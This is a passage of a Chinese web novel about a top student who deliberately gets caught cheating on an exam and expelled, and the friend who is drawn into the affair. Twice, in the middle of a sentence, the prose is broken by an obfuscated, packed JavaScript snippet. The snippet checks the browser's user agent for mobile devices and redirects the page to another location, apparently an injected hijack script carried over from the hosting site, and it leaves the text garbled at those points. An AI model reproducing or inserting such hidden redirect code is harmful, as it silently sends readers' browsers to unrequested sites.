一中监考老师面色不愉,顾梓聿倒是一脸摸不着头脑般的不知所措,睁大眼睛,增加眨眼频率,努力让眼神显得清澈、无害,刻意装出一副“我什么都不知道”的样子,像是真的无辜至极。巡考官仔细地打量他,巡视的教导主任看到异常走过来,替顾梓聿向巡考官当面做了背书,诸如“这个孩子是我们学校最优秀的苗子啊”此类的话,终于打消了几位老师的疑虑。 顾梓聿想着,过了这么长时间,傅尧再蠢,就算事不可为,至少也该把那玩意关掉了吧。东西一被关了,不会继续发出信号,也就不可能被检测到了。于是看着巡考官放行的眼神,他便一言不发低头跟着巡考官回到考场里。 这么一闹,考场里的考生都隐隐知道可能发生了什么,不过看着那个被怀疑的人是顾梓聿,大部分人又低头重新检查卷子去了——开什么玩笑,顾梓聿有什么必要作弊嘛。 而且,在众人心里,能在这所学校学习的孩子,心底或多或少都有些骄傲,不会有人真的敢做出这种事、敢给自己的母校抹黑的,因为他们不敢承受这样做的后果——这样会让他们在所有的圈子里被唾弃。 巡考官跟着顾梓聿走回考场,但还没等顾梓聿坐下,巡考官就感觉到无意中被带进来的隐形耳机探测器开始振动,然后,出乎所有人意料的,开始大声蜂鸣起来。 这下,所有人都一阵激灵,有谨慎的学生没有抬起头,毕竟监控还在录像,历史上就有过教育厅查三年前的监控然后取消“疑似作弊学生”的考试成绩,君子不立于危墙之下嘛。但是有部分实在按捺不住的,也竖起了耳朵,捕捉一切动态:不会真是顾梓聿吧?那一班就丢尽脸了! 幸灾乐祸是人性中邪恶的阴影,然而,却少有人能抵御得住这种低劣的、以吸食他人痛苦和厄运为乐的满足感。 顾梓聿已经来不及去想周围人的看法,立马看向巡考官说:“老师,您刚才也检查了,我身上什么也没有,肯定是这个仪器出错了…” 巡考官却走向傅尧,蜂鸣声锲而不舍地响着,越来越尖利刺耳,傅尧安然地坐着,仿佛置身事外。 大概就过了一两秒钟,但可能在这个世界上顾梓聿所经历过的最长的一两秒钟。他惊恐地看着傅尧好整以暇地从右耳中取出一个东西,他的声音淹没在突然响起的结束铃声中,别的考场考生们都开始按顺序离开考场,而他说: “没错,是我的。” 顾梓聿整个脑子都炸了,他身不由己地被其他班的人拉出了考场,又被作为“疑似作弊考生”和傅尧在那几个老师的跟随下、或者说是被那几个老师监押着,走向会议室。他整个人是懵的,但是突然间,他抓住了那一丝一闪而逝的线索,他转过身,回头望,用目光在逆流的学生人群中找一个人,一个可能知道内情的人。 方灵烨看着他,那眼神是…责怪?! 布满阴云的会议室里,监控人员已经调出了傅尧所在 16 号考场的监控录像,各级领导、主考、巡考官的数十双眼睛牢牢盯着大屏幕。 录像里,先是一个男生举手问问题,趁着此时处在监考老师目光的死角,傅尧抬起右手在耳朵附近动了动——当然,现在大家都知道他是在使用隐形耳机了。而后,他身后的男生用笔戳了戳他的后背,但双方并没有什么其他的接触。傅尧再次动了动隐形耳机,后桌的男生开始转笔,翻卷子,然后被监考老师叫起来,还掉了笔、差点还踢翻了桌子。 过了一段时间,男生经过检查后重新走进了教室,巡考官跟着一起走进来。突然,代表警报的蜂鸣声响起,而过了一会,傅尧摘下了“作弊工具”,自己承认了。 程琤被叫来会议室的时候还一头雾水——此时他应该是在封存卷子然后去改卷才对,然而当他看到傅尧和顾梓聿站在那儿,一股不好的预感油然而生。等到看完这段录像的时候... 如果他现在人在军部,一定恨不得干脆把这两个混蛋玩意儿劈了算了;如果他只是个单纯的老师,恐怕也会被这两个踩着作弊高压线的学生气到脑梗。不过,现在站在这儿的,是程琤。因为足够了解这两个人的底细,他反而没有什么特别的情绪:事实上,他很好奇他们搞出这件事的理由是什么。 “程老师,这是你班里的学生,你看…?” 程琤严肃地表态:“这两位都是我最优秀的学生,但我不会包庇他们,如果真是违反了考场制度,大家看到是怎么样的情形,就请按照规定来,该怎么样处理就怎么样处理,不用顾忌我。” “好。”巡考官开始问话:“傅尧,准考号 2011061623,本次考试中,你在考试过程中使用通讯设备,违反了《帝国教育考试违规处理办法》第一条,违背考试公平、公正原则,被认定为考场作弊,你承认吗?” “我承认。” 似乎问话还没有落地,傅尧就干干脆脆地立马承认了——没有惊慌,没有辩解,甚至没有半点羞愧和不甘,坦然得近乎诡异。 顾梓聿此刻都来不及去看在场的学校大领导的脸色到底有多么难看,因为下一句问话就朝他而来了: “顾梓聿,准考证号 2011061622,本次考试中,你在考试过程中与傅尧交头接耳,互打暗号,违反了《帝国教育考试违规处理办法》第二条,不遵守考场纪律,被认定为考场违纪,你承认吗?” “不,老师,我没有!”顾梓聿连忙解释道。他不知道傅尧究竟是怎么想的,他不敢看其他老师,只是极其诚恳望着巡考官,希望他能相信自己。“我并没有和傅尧同学交头接耳、互打暗号。如果您仔细查看录像,就能发现我只是用笔戳了戳他,我没有开口说话、没有做任何手势、没有传递任何信息。事实上,傅尧同学的成绩很优秀,我从来没有想到要帮助他作弊,因为我觉得他不需要作弊!” “那你为什么要戳他呢?”巡考官接着立刻问道。 “…嗯,桌椅太挤了,我想叫他往前挪一点…” 顾梓聿回答道。 不过当他看到巡考官的表情后,他立马意识到自己做了一个愚蠢的回答。巡考官眼神如刀,剜着他的魂:“考场有考场的纪律,你们两个虽然是前后桌,但依照考场的座位摆放规则,你们两个应该相距很远,不存在什么桌椅太近的问题。” 顾梓聿连忙亡羊补牢:“啊,老师,我的意思是,唉,不是说座椅挨得太近,而是傅尧同学老喜欢翘着椅子,所以椅背就会一直蹭到我的桌子沿,我上一场的考试卷子边就被他压着了,还好答题卡上没留下折痕,所以我是害怕他又压到我的卷子,提醒一下他,真的。要不我们可以再回放录像看看?” 答题卡留下折痕,就等于有违规记号,此项科目将不会被计分,而少了一项科目的总分,可以很肯定的说,一定上不了一类校。因此,顾梓聿这么谨慎,在周围老师看来,也是可以理解的。 说实话,顾梓聿根本不记得那个时候傅尧有没有翘着椅子,他纯粹是在赌,因为傅尧在思考问题一入迷的时候常常就有翘椅子的习惯。所以当监考人员回去找这段、发现录像上傅尧确实是翘着椅子时,顾梓聿很有些庆幸。 不过,不得不说巡考官的直觉还是很敏锐的,他又继续问道:“那当时监考老师叫你出来的时候,你为什么这么慌张、还差点踢翻了桌椅 ?这既然不是你做贼心虚,那是不是你在故意提醒傅尧?” 废话,当然是提醒。一边早就“坦白从宽”的傅尧在心里摇摇头:顾梓聿实在是很讲义气,但没办法,自己不能接受这份好意。 他看着一旁左支右绌、竭力应对盘问的顾梓聿不由得在一旁笑出声来。所有人的注意力都被他吸引,顾梓聿却是心下一急,害怕他又说出什么不着四六的话来。 “老师们,你们也不想一想,作弊这种天大的事情,我怎么可能再让第二个人知道呢?”傅尧转头看着顾梓聿,挑衅道:“我确实喜欢翘椅子,不过为了这点小事你就要戳我是不是有点太小题大做?说白了,就凭你这个学期的考试状态,就算是答题卡上没有折痕,你也考不上什么好学校。” “我…” 顾梓聿一下被气的气血翻涌,但被那双幽绿迫人的眸子一望,竟然什么话都说不出—— 那是怎样的眼神啊,无声中,他看到冷静、隐忍、感谢,但没有讽刺、鄙薄和轻蔑。 方灵烨刻意引来老师的反常举动和带着责怪的眼神。 傅尧三番两次“不小心”弄出的声音。 他那么干脆地就承认了。 他一直是那么冷静,没有突然被抓到的手足无措。 这些他之前或留意或忽视的小细节,看似杂乱无章,然而连起来,却指向了一个最终的答案。 一瞬间的醍醐灌顶。尽管此刻没有想清楚前因后果,但顾梓聿知道,此时自己最应该做的是闭嘴,走开,把局势交给这个早就有准备的人——毕竟,现在看起来,是他自作多情的施以援手,才打乱了对方的筹谋罢。 傅尧也不做声,只不过他做出来的那副表情,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266207|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是冷冰冰的面无表情,在场人都可以看出,还带着一丝隐藏不住的、对于另一个男生的赤裸裸的厌恶。几位老师看了看两人间奇怪的氛围,交头接耳地讨论了一下,终于得出了一个最终结果。 程琤整个过程都没有凑过去听,而是观察着傅尧——他没有想到,这个看起来面皮很薄的小孩敢做这样的事情,也是热血一时上头了吧。 不过,哈,这些小孩,又有哪个不是面皮薄的呢?都是被家里娇宠惯了的,从来没有栽过跟斗,就算是闯了祸犯了错,只要肯低头认个罚,自然有自家长辈帮着善后;一路上又是被周围人捧着护着的,自然就心气儿高了。 不过今天… “我们今天先出一个初步的处理措施,”主考官很严肃地对校长说:“那个叫傅尧的,作弊事实非常清晰,当事人也承认了。首先我们招生办这里,各科成绩一定是无效的,加上他这个情节非常之恶劣,这里还有一项处罚,就是在一到三年内,他将没有参加任何国家教育考试的资格。这是我们这边的处理,当然,我们建议你们学校方面对于这种情况也一定要严肃处理。你们这样的名校啊,出这样的事情很不应该啊!” 闻弦歌而知雅意,校长当然知道,严肃处理在这里的意思,指的就是开除学籍。他管不了教育考试院的决定,然而他知道这个学生真实的身份是什么,知道他的这个“傅”姓意味着什么。如果不事先与傅家沟通就擅自给予这样的处罚,不知道他会不会在回家的半路上失踪,最后死在什么不知名的犄角旮瘩里。 事实上,他也存有私心,并不想让自己待了大半辈子、倾尽了半生心血的学校背上污名。因此,他先是婉转的向行政级别比他高了一级的主考表露了一下“再商量商量”的意思,然后迅速走到了一个僻静的地方,拨通了电话。 其实此时,才是傅尧谋划良久最头疼的环节,他拐弯抹角地费这么大劲,差点还把无辜的顾梓聿给牵扯进来,只是为了达成一个目的。但,只要傅劲先不想他成功做到,只需要稍微动动小手指,他所有努力就会如沙塔般全盘溃散。 他事先想过所有细节:如何让监考老师发现,如何留下铁证,让学校无可辩驳,甚至如何应对可能的调查取证……这一切对他来说都不是难题,唯一无法掌控的变数,是老爷子的态度。 老爷子要按下这件事,太容易了。只要一句话,学校的处分就能被悄无声息地撤回,教育考试院的记录也能消失得干干净净。傅尧太了解他这位祖父了——掌控家族几十年,威望深重,既能赏识他的聪明才智,也能容忍他的放肆胡闹,但绝不会允许傅家的脸面被自己人丢尽。 老爷子在知道了这样的情况后会给出怎样的回应? 会不会直接把他叫回去,训斥一顿,然后轻描淡写地摆平?还是会让他吃点苦头,等风声过去,再安排他进入更好的学校?他知道老爷子从来不惧丑闻,但他更不允许丑闻失控。而傅尧需要的是一个无法挽回的处分,一纸盖章生效的学籍注销,但傅老爷子会让他如愿吗? 傅尧双手微微攥紧。 他已经走到这一步了,一切希望只能寄托在,他现在走上的这条路,就正好是老头子希望他走的路。 没有过多久,校长面色晦暗走了回来。他没有想到,这所历经了两百多年风风雨雨的名校,居然在他手上,出了第一起学生作弊被当庭抓到的丑闻。 校长耳边反复地回响着那冷淡的四个字“秉公办理”,一时有些回不过神来。 这本来是件根本不值一提的“小事”,以傅家的权势,哪怕是监考老师亲眼看到,又能如何?只要老爷子一句话,这事立刻就能被按下去,最多让傅尧象征性地“自省”一下,然后照样进入帝国最好的学府,前途无忧。 他咀嚼着其中的意味,显然,傅家不想保这个孩子。 他可以想象:也许这个孩子只是傅家的旁系,没有什么深厚的背景;也可能内部派系斗争激烈,各种势力倾轧,于是他就沦为无人理睬的垃圾。 在这样的钟鼎人家,每个有生力量都在竭尽全力地吞噬别人保全自己,弱者与其苟且偷生、动辄自相残杀,不如生做一个普通人,便是布衣蔬食又如何?至少不用时刻提心吊胆笑里藏刀。 他本来还想着委婉处理,借着傅家的威势,学校的名誉也可以得到保全。可现在,傅家自己都不想护着他,学校也没有立场多做无谓的事。 他走向主考:“我们学校出了这样的事情,实在是令我颜面无光,我要承担大部分责任。请厅里的领导放心,我们学校会组织深刻反省,同时我这里会严加问责,追究到个人。但是请领导相信,我们的大部分学生还是非常优秀的,这只是非常极端的个例。今年的推荐名额,还是跟往年一样吧…” “至于那个作弊的学生,那就这样处理吧,各科成绩无效,剥夺三年内参加教育考试的资格,开除学籍并记入档案。” “您看,这样还算过得去吧?” 27. 参商不见 夏日正午,大太阳正火辣辣地炙烤着大地,原本是呆在开足了冷气的大会议室,顾梓聿对这高温还没有什么感觉,等到一推开门走出来时,被轰然而来的热浪迎面一撞,顾梓聿整个人都变恍惚了。 他必须承认,在早上走进考场时,他从来没有想过,不过短短几个小时内,会有这样的事情发生。刚才,就在会议室里,他亲身见证了一个学生,就这样被堵住了所有的上升途径,被驱逐出整个教育系统,尽管是暂时性的。更何况这看起来似乎是傅尧提前预料…甚至是有意设计的结果。 是的,被驱逐出整个教育系统——各科成绩无效,那么傅尧就拿不到毕业证书、不能升入高等院校;而被开除学籍则令他连初中部也呆不下去;三年内不得参加任何教育类考试,等于这三年之内任何一级的教育机构都没有他的容身之地了;最致命的是记入档案,档案是随着人一辈子的,这样的污点能令傅尧终生不得翻身。 傅尧到底想做什么? 他看着自己身后,程琤和傅尧刻意落在后面,离他很远,似乎是在低声交谈着。他本来有一股气,想直接冲上去问个清楚,后来又退缩了:毕竟,自己有什么理由呢? 自己把傅尧当作是君子之交淡如水的朋友,他曾以为,他们不是那样流于表面的、只会勾肩搭背的朋友,而是不必要说太多,彼此之间可以互相理解支持、肝胆相照的。可笑的是,现在看来,这一切都只是“他以为”。也许,是比赛中的默契配合,让他自以为是了吧。 其实,说实在的,离开了校园,自己又了解傅尧多少呢?在他看来,傅尧是个非常聪明,但同时相当低调的人,他在校园生活中可以说寡言少语、惜字如金,极力避免成为焦点,除了公布成绩的时候,他大多数时候都像个隐形人。同学了六七年,顾梓聿已经算是和傅尧关系很亲近了,也根本不了解学校外的他,模糊中只能感觉到傅尧家世并不简单。 这样的家庭,若是知道了傅尧今天做出了什么,会有怎样的反应?傅尧将会面对什么呢? 学生不能用电梯,因此他认命地从六楼往下走,不经意地一瞥,他发现本应在教室里复习的学生都隔着窗子交头接耳地一边八卦着一边盯着他身后看,他心里没来由地一阵烦闷,突然觉得肚内饥饿。 是该饿了,折腾了好几个小时,现在都下午一点多了,顾梓聿低头匆匆下到二楼,走进教室,还好一班的同学们还有点分寸,有教养地克制着,没有一拥而上问东问西,也没有一个人表示出多余的关心。大家都呆在自己的位置上,该聊天的聊天,该复习的复习,只是姜明祎走过来,递过一盒饭菜,在一旁坐了下来。 “教室里向来是不准带饭进来吃的,不过这两天特殊情况,我料想风纪队也不可能这时候来查,干脆就打包带进来了,你快吃吧,下午还有考试呢。” 道了声谢,顾梓聿打开饭盒,确实是饥肠辘辘了,可他却捏着筷子,半天没有动筷。 姜明祎低头看着饭盒,半晌问道:“这么说,傅尧是真的…” 教室里突然一静,傅尧和程琤一前一后走了进来,程琤走上讲台,看起来很平静,脸上看不出一丝愤怒和不悦的表情,看起来似乎也不准备说点什么。傅尧放下书包,定定地看了一眼教室后墙黑板上方--本该贴满荣誉奖状的墙上,由于考场清理,现在只雪洞般空荡荡的。 傅尧心里有着略微的歉疚,他做事一向不说坦荡,却至少也无愧于心,然而此次不得已而为之,实在是连累了大家。在座的同学,平日里或桀骜不羁或谦逊守矩,其实全都骄傲得很,将维护一班荣誉视为理所应当的头号任务,不能为之增光添彩已倍觉羞惭,更何况亲手添染上污渍? 他几乎用尽自己全身的力量来克制不该有的举动,收拾了东西就要走。 偏偏一个声音响起:“傅尧,这究竟是怎么回事?大家都很关心你。” 不知情的回头望过去,见站起来的是张铎,也都不插话,只屏息拿眼来回扫这两人,讲台上的程琤却似乎被人遗忘。事实上,作为班长,张铎在学生中的威信和老师们不遑多让,大家也都期盼着傅尧能说出个缘由来。 根本不合常理地,傅尧的“作弊”丑闻实在令人讶异疑惑,更何况被分在不同考场的一班同学,根本就是一头雾水,考完一出考场,许多人都被平日里压制的其他班学生“好意问候”、“善意安慰”了一番,即使和自己无关,这种程度的羞辱也足够令人难堪了。 张铎站在那里,明亮的双眼注视着傅尧,眼神恳切而不容拒绝。于是其他人也跟着,或直接、或隐蔽地望向傅尧。 傅尧轻轻叹了口气。于情于理他都欠大家一个解释,更何况张铎不仅是替全班学生发问,这三年张铎也算得上是一个很好的朋友了,只是... 他不说话,转身就走。 “傅尧,大家都很担心你,你不说几句吗?”一个女生焦急地说道,声音不大却足够大家听得清楚。这女生名叫彭璐,平日里总是关心这个照顾那个,大家都喊她璐姐。她一心急,一下子把声音提起来:“同学这么久,大家都知道你不是这样的人,这是有什么误会吧,跟考官说清楚了吗?” 得,看来不讲清楚还走不了了。傅尧轻挑嘴角,其实心里在暗暗苦笑,要他在这群人面前承认自己作弊,可比在考官面前承认难多了——考官毕竟是外人,可眼前这群人,跟他朝夕相处了三年甚至五六年。他们相信就罢了,他得面对眼前这四五十人的熊熊怒火;他们若不相信,那他还得感谢他们那份深厚的信任,呵,听起来还真是可怜呐。 “很遗憾,这里没有丝毫误会,考官在监控器里看到的完全都是事实,我接受所有处罚,包括开除学籍。” 什么东西掉在地上发出了清脆的声响,所有人都惊讶地来不及反应,就听到那声音缓缓接着道:“很抱歉给大家带来的困扰,很抱歉让一班不再完美,我还需要处理一些后续的事情,祝大家最后一场考试旗开得胜、马到成功。” “对不起。” 他一点头,拿齐自己所有的私人物品,走出教室。 “等等!”张铎追了出去,只见他急躁地跟傅尧说着什么,傅尧似听非听,没有回头也没有回应。 顾梓聿的前桌陈洋洁一脸惊惶无措地回头,看着顾梓聿这个知情人,想要求证些什么。在看到他脸上的表情后,默默地转了回去,静了半晌后将头埋进臂弯,单薄的肩头一颤一颤地,终于偷偷抽泣起来。 顾梓聿知道她喜欢傅尧,她是那么敏感多思的女孩子,平日里羞怯安静,却愿意在有傅尧在的场合里极力绽放光芒。 半年前那次艺术节汇报晚会,作为主持人和表演者之一,他在排练时亲眼见证了陈洋洁那一支独舞《奔月》,简单的服装与场地都没能限制住这女孩翩翩起舞,她的身姿轻灵曼妙却又不乏动人的张力,即使是不太懂舞蹈的人,也能意识到这舞的魅力。 他心里暗暗期待当天晚会上这女孩惊艳四座,博得众彩。 然而,他无意中看到,陈洋洁在课余时鼓足勇气在傅尧面前提起这次晚会,傅尧却简单地回答了三个字“不会去”。他知道傅尧不爱参加这类活动,估计到时也就是跑到机房呆着刷刷题,于是他也就上前去劝他一起来,“好歹看看我表演节目嘛”,他这样说道。傅尧不置可否。 这样的反应落在顾梓聿眼中,他叹了口气,却也不能说出“有个女孩想在你面前表现她最美的那一面,你好歹也请接受这份心意啊”? 当天晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266208|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他和隔壁班一个主持人特长的女孩以及两个低一年级的学弟学妹在一片欢呼声中登上舞台,追光灯落在他身上炙烤着他,他扬着声线从容不迫地开着手卡上预定的、排练过数次的玩笑,眼睛却不动声色地在座位席上寻找着那张熟悉的面孔。 傅尧没有来。 在此起彼伏的笑声掌声中,他突然为她觉得惋惜。 看起来陈洋洁也知道了。她的朋友跑到后台匆匆地说了句什么,于是她脸上期待的神色可见地萎靡了下来。很快轮到她出场了,顾梓聿在舞台的侧后方,借着幕布的遮掩,他看到绚目的灯光打起,音乐响起,然而在这样华丽精致的布景下,那舞却没有当初信手跳来那样动人。 那精灵般的身影,那一举手一投足,仍是美的,却失去了那曾摄住他心魂的精魄。舞失去了精魄,就失去了生命力。死的舞,不能感染人。她五官是笑着的,笑意却未达眼底,粉白的纱衣飘舞着,带着一种窒息的无力。 如同现在,她压抑不住的哭泣,难过到连他的心脏都隐隐收紧。 他叹了口气,想安慰一下她,却又不知如何是好。有时,女孩子青涩的小心思是不愿意为外人所知的,就当作她为失去一个同学而悲伤吧。 那张瑾妤呢?他看着另一个喜欢傅尧的女孩,她看起来没有那么的难过。如果是自己呢?如果今天是他陷入这样的局面,她会不会为自己担心、纠结、哭泣? 哈,看看你自己,自作多情了吧,他嘲笑着自己,你已经出局了。 尽管不知道为什么。 顾梓聿倚到窗边,看烈日下傅尧的身影越走越远,影子投影在他身后,看起来像是怜惜他孑孓一身的孤独,所以寸步不离。他一步步,走下那百级石阶,仿佛一步步走向一个被放逐的结局。 看着张铎垂头丧气地走回来,顾梓聿的心中突然冒起一团火,这火席卷喷薄燃尽了他的所有理智,他踢开桌子起身就向外面追去。他很快就要离开这里了,连参加这个考试都是他死缠烂打和顾仲景硬磨来的,他想给这几年画上一个完美的句号,和同学们一起冲到最后,然后含笑告别,不留遗憾。 他喜欢大团圆结局! 凭什么,凭什么傅尧可以不当回事、破坏了这一切,却还吝于给一个解释?! 你要是不愿意说—— 被怒火控制着,他很快就追上了傅尧,甚至不记得有没有先打个招呼,他一拳砸在傅尧脸上。 ——我打到你说! 傅尧没有避开这一拳,他微微侧头,漂亮的绿眼睛里满是不耐烦。聚集在窗口观察事态的一班同学一片哗然!有人回头去找程琤,发现他不知什么时候已经消失了。众人面面相觑,没有人敢下去劝架,就傻傻地看着,尽管什么也听不清看不清。 “你什么情况?说句对不起就够了?你把我们当什么?”顾梓聿喘了口粗气,高温助燃了他心头的火,还有一句话他没说出来——你把我当做什么? 顾梓聿是学过几招的,他记得教练说的不轻易向人挥拳,也清楚知道打人不打脸,更何况他身后可能有无数眼睛。然而,此刻理智已消失殆尽,他甚至是挑衅地瞟着傅尧。 这个曾经的好友抿抿唇,轻轻擦去嘴角血沫,平静地抬起头望着他:“你希望我说什么?” 最后他们是被急匆匆赶来的保安拉开的。顾梓聿简直不敢相信,直到最后,傅尧居然什么都没有说,就带着他那一拳,默默离开。他感到一股强烈的情绪冲撞着他的胸膛,混合着愤怒、暴躁、不理解以及被背叛的心痛,就要撕裂他整个人。保安的训斥他一句也没听进去,只呆呆地走回教学楼。 若此时从天空中往下看,可以看到,大地上两个人分别朝着相反的方向,渐行渐远。 28. 他的选择 今天,顾梓聿起得很早。 “今天不必上学,起这么早做什么?”顾仲景边穿鞋边问道。他向来有着晨练的习惯,但顾梓聿并没有。他往常学业繁重,晚睡早起也是以学业为主,若是好不容易遇上个无事的休息日,必定是要日上三竿再起。 “嗯...考完了嘛,那就锻炼一下身体,也陪陪您。”顾梓聿笑道,“怎么,您嫌我烦吗?” 顾仲景笑了笑没回答:他养了这小孩这么多年,早就对他是了如指掌,看着他一副想说些什么又不敢说的样子也懒得拆穿,带上门上了锁:“行啊,没什么事儿就跟着我跑跑呗。” 其实顾梓聿昨晚真是一宿没睡好,早上强撑着爬起来已经很勉强,还要强打着精神跟在顾仲景身边,装出一副精力十足轻松惬意的模样,实在是不容易。 顾家住在老市区中心,抄个近道就能到鹿城植物园。顾仲景一般是习惯在植物园里跑山,清晨负氧离子多,植物园就像个大氧吧,还清净,跑上山再跑下山,完了就在梅园里泡壶茶,发会呆。 不过顾梓聿要跟着,去植物园就不太适合了。这小子,长得精精神神的,身上一堆破毛病。一个男孩子,还老爱过敏,碰不得花粉杨柳絮,虫子一爬皮肤上就肿得一道一道的,麻烦! 顾仲景摇摇头:“上车,咱们去白城转转。” “好哇!”顾梓聿倒是很久没去过海边了,兴奋地爬进副驾驶座,刚想说点什么,话头就被吓缩回去。 “怎么,我听说你昨天对同学挥拳相向?” 天呐!顾仲景究竟是怎么知道的!顾梓聿恨不得现在马上跳车,可惜为时已晚,车子愉快地发动,他以余光偷窥顾仲景的脸色,立马怂了,坦白从宽:“对不起爸爸我意识到自己做错了,我不应该打架…” “行了,男孩子嘛,打一两次架倒也没有什么,”顾仲景出乎意料地打断话头,“只是你记得,以后打架要往那些看不出来的地方死命揍,别打脸,打脸不占理。” 什、什么?顾梓聿听着这话目瞪口呆。什么情况?顾仲景不生气? “当然,你做事这么鲁莽,是必须要处罚的,”顾仲景说的话没有他的表情瘆人,“待会你就多跑两圈,认真反省,你的大脑是用来思考、不是用来冲动的;你的拳头是用来保护弱者、不是用来向朋友施威的。” “是,爸爸,我记住了。”顾梓聿悻悻答道。他的舌头在“您是怎么知道这件事的?”和“您怎么不问问我为什么这么做?”间打转,最后还是识时务地选了后一个。 “为什么?”顾仲景明显不是很把这个问题放心上,不过还是从善如流地问了一句。他意识到这个小孩有点疑惑需要点拨和指引,而他愿意给予帮助。 “是这样…” 车子很快就到达目的地,两人一人说一人听着走上了海边木栈道。故事没有几句,儿子很快就讲完,爸爸却沉吟良久,没有马上回答。 “你是怎么看的呢?你觉得你这个朋友有违背纪律吗?” “表面上看起来他确实像是做了错事,但是我觉得事情没有这么简单,他没有这必要啊。” “有些事情,如果你意识到没有表面上看起来这么简单,那么在很大程度上它就真的并不简单。有的时候,缄默不言也是一种回答。” 顾仲景已然明白了事情的个中曲直,作弊?显然,在听到这孩子姓傅之后,他很快就明白了对方的意图。 他是故意的。 傅尧的目标,不是考试,而是惹出一场足够大的风波,逼傅家做出某个决定。 用作弊这种方式,既愚蠢,又聪明。 他暗笑这看似精心谋划的鲁莽行为,却也有些兔死狐悲的心冷:曾几何时他还记恨着傅劲先那个老头子,没有对唐维钧施以援手,间接导致他这位兄长英年早逝、使顾梓聿失恃失怙,而傅劲先却子孙满堂,活的畅意快活。 现如今,傅家长子离奇身死,傅尧作为长子长孙羽翼未成,眼看着就要阻止不了傅家内部倾轧,傅尧还是十四五的年纪,就要被迫自污以避眼前灾祸,他爷爷的债看来是应在了他的身上,可孩子们又何尝不无辜啊。 “我想,此事你不必太过挂怀。人之际遇如水中浮萍,时聚有散,缘至则聚,缘尽则散,你与你这朋友如此相投,少说几年,至多十数年,日后必然还会再相见,到那时,仍可一叙别情,未尝晚矣。” 顾梓聿侧过头看着顾仲景——这时的顾仲景说这话时,跟往常的他不太一样,有点雾蒙蒙的,让人琢磨不透。 顾仲景微敛眼角,双手握着方向盘,不免出了一会儿神:这话,还是年幼时祖父告诉他的。他知道,顾梓聿和傅尧将来必有再见的一日。他只是不知道,那时将叙的,是故友重逢之喜,还是父辈间的旧恨。 车子里安静下来,音箱里流淌出的是巴赫的恰空。这是顾梓聿前段时间在录音室录的小样,没有后期的处理,小提琴声孤独地流转在车厢内,顾梓聿突然鼻头发酸,他虽然年轻,不过十四五岁,可也算经历过许多,这曲子他拉了好几年,在此刻,竟心生感叹:“此生悲欢几何,尽付于此一曲。” “说什么呢,就你还’此生’?你这一生才刚开头呢!别学那些个文青,什么事没有就开始为赋新词强说愁。” 顾仲景被逗笑了,找到个车位停进车,拉起手刹熄了火,才接着说:“就你现在,不愁吃喝,大人有能力送你出国学习,比起那些大山里的贫苦孩子,不知道幸福了几万分!” “爸爸,这正是我今天想要说的。”顾梓聿看了一眼车窗外——他俩出门挺早的,现在这个时候海边木栈道上空空荡荡的,连只海鸟也没有,更别说跑步的人了。天倒是很蓝的,海浪一波一波地温柔地拍打着沙滩。 他俩下了车,走了一小段路,他鼓足勇气接着说道:“我知道您耗费了很大的心力教育我、栽培我,我很感谢您,我也大概清楚您为什么急着想把我送出国,这都是为了我好,我都知道。” 顾仲景心里有种隐隐的不安感,但他没能阻止男孩接着说下去。 “但是我目前根本没有做好准备,我还不想这么快出去。”终于一鼓作气吐出心底的话,顾梓聿压抑了半年多的心情终于放松了点。他最开始是想着乖乖听话,可也许是骨子里还埋着一点倔性吧,他就是说服不了自己。音乐对他来讲是很重要没有错,但他还不想就这样被迫地走上专业道路,他想见识点新鲜不同的,他想要见的,是更广阔的一方天地。 顾仲景被这话一下砸懵了:他没想到有朝一日顾梓聿居然也敢硬着脖子对着他说出“不”字。 坦白说,也许是被身世所累,顾梓聿这孩子性格太软,说是乖也好,说是懂事也好,就是太听话了些,不管长辈说什么,都默默地听着,乖乖地去做。孩子还小时,还能说是省心省事,但孩子大了,路是要自己走的。他期盼着把这孩子培养成一个行不苟合、事有己见的成熟的人,他也曾经想过这孩子对某些事、某些人斩钉截铁地说出一个“不”字的那种神情,应该是理智而坚定的,孩子会长大的,翅膀也终会硬的。 只是,他没想到,当孩子把这招用在自己身上时,会这么难受。 顾仲景一下子讲不出话来。 他能理解顾梓聿的不情愿:顾梓聿如今只记得那些平静温馨的生活,在这小城平平稳稳地生活了这么些年,结识了不少师长好友,甚至还有了个喜欢的姑娘,现在却突然要为一个看起来虚无缥缈的可能性放弃一切,避走异乡,自然会心生抗拒。可是他,面对着可能的威胁,哪怕有千分之一的可能性,都不想拿顾梓聿的未来去赌。因为他知道,他亲身经历过,那些人的心狠手辣、冰冷无情,为了目的除了自己以外的一切都能利用都敢舍弃,他怎么敢,让这孩子踏入这旋涡半步。 “爸,您知道,军部挑选国防生的程序繁琐复杂,而其中非常重要的一项就是必须征求本人同意。更何况,虽然有条例允许军部可以在年满十六岁的高中生间提前抽调履历优先培养,但这六十年来,真正施行的也不过数例,而且也需要本人同意才行。如果我的表现不突出,履历不优秀,我本人又不同意,就算真的有人心怀鬼胎想挑我去,他又如何服众呢?” 顾仲景看着少年恳切的眼神,男孩挺直了身子,脑袋已经超过自己的肩膀了。他看着男孩那对熟悉的眼眸,近乎沉溺在那样要命的错觉中。 